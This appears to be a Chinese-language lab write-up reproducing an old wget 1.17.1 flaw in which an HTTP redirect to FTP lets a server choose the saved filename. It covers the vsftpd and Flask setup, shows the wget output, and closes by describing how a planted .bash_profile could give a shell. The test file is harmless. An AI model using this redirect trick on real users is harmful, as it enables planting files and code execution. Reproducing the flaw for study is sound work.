wget 是一个从网络上自动下载文件的工具,支持通过 HTTP、HTTPS、FTP 三种最常见的 TCP/IP 协议。

漏洞发生在将 HTTP 服务重定向到 FTP 服务时,wget 会默认选择相信 HTTP 服务器,并且直接使用重定向的 FTP URL,而没有对其进行二次验证或对下载文件名进行适当的处理。如果攻击者提供了一个恶意的 URL,通过这种重定向可能达到任意文件的上传的问题,并且文件名和文件内容也是任意的。

大概就是下载了http://127.0.0.1/aaa.txt,但是在桌面上的名称是bbb.txt,感觉没什么鸟用

推荐使用的环境	备注
操作系统	Ubuntu 16.04	体系结构:64 位
漏洞软件	wget	版本号:1.17.1
所需软件	vsftpd	版本号:3.0.3

首先安装ftp服务器

apt-get install vsftpd

修改其配置文件 /etc/vsftpd.conf,使匿名用户也可以访问:

# Allow anonymous FTP? (Disabled by default).
anonymous_enable=YES

然后我们需要一个 HTTP 服务,这里选择使用 Flask:

pip install flask

创建两个文件 noharm.txt 和 harm.txt,假设前者是我们请求的正常文件,后者是重定位后的恶意文件,如下:

$ ls
harm.txt  httpServer.py  noharm.txt
$ cat noharm.txt
"hello world"
$ cat harm.txt
"you've been hacked"
$ sudo cp harm.txt /srv/ftp
$ sudo python httpServer.py
 * Running on http://0.0.0.0:80/ (Press CTRL+C to quit)

该系统上的 wget 虽然是 1.17.1,但估计已经打过补丁了。我们直接编译安装原始的版本:

$ sudo apt-get install libneon27-gnutls-dev
$ wget https://ftp.gnu.org/gnu/wget/wget-1.17.1.tar.gz
$ tar zxvf wget-1.17.1.tar.gz
$ cd wget-1.17.1
$ ./configure
$ make && sudo make install

发出请求:

$ wget 0.0.0.0/noharm.txt
--2018-01-29 16:32:15--  http://0.0.0.0/noharm.txt
Connecting to 0.0.0.0:80... connected.
HTTP request sent, awaiting response... 302 FOUND
Location: ftp://127.0.0.1/harm.txt [following]
--2018-01-29 16:32:15--  ftp://127.0.0.1/harm.txt
           => ‘harm.txt’
Connecting to 127.0.0.1:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD not needed.
==> SIZE harm.txt ... 21
==> PASV ... done.    ==> RETR harm.txt ... done.
Length: 21 (unauthoritative)

harm.txt                      100%[==============================================>]      21  --.-KB/s    in 0s

2018-01-29 16:32:15 (3.41 MB/s) - ‘harm.txt’ saved [21]

$ cat harm.txt
"you've been hacked"

意思就是下载了http://127.0.0.1/aaa.txt,但是在桌面上的名称是bbb.txt

如果某个人在自己的 home 目录下执行了 wget 请求,并且该目录下没有 .bash_profile,那么利用该漏洞,攻击这就可以将恶意的 .bash_profile 保存到这个人的 home 下。下一次启动时,恶意代码被执行,获得 shell。

感觉没什么鸟用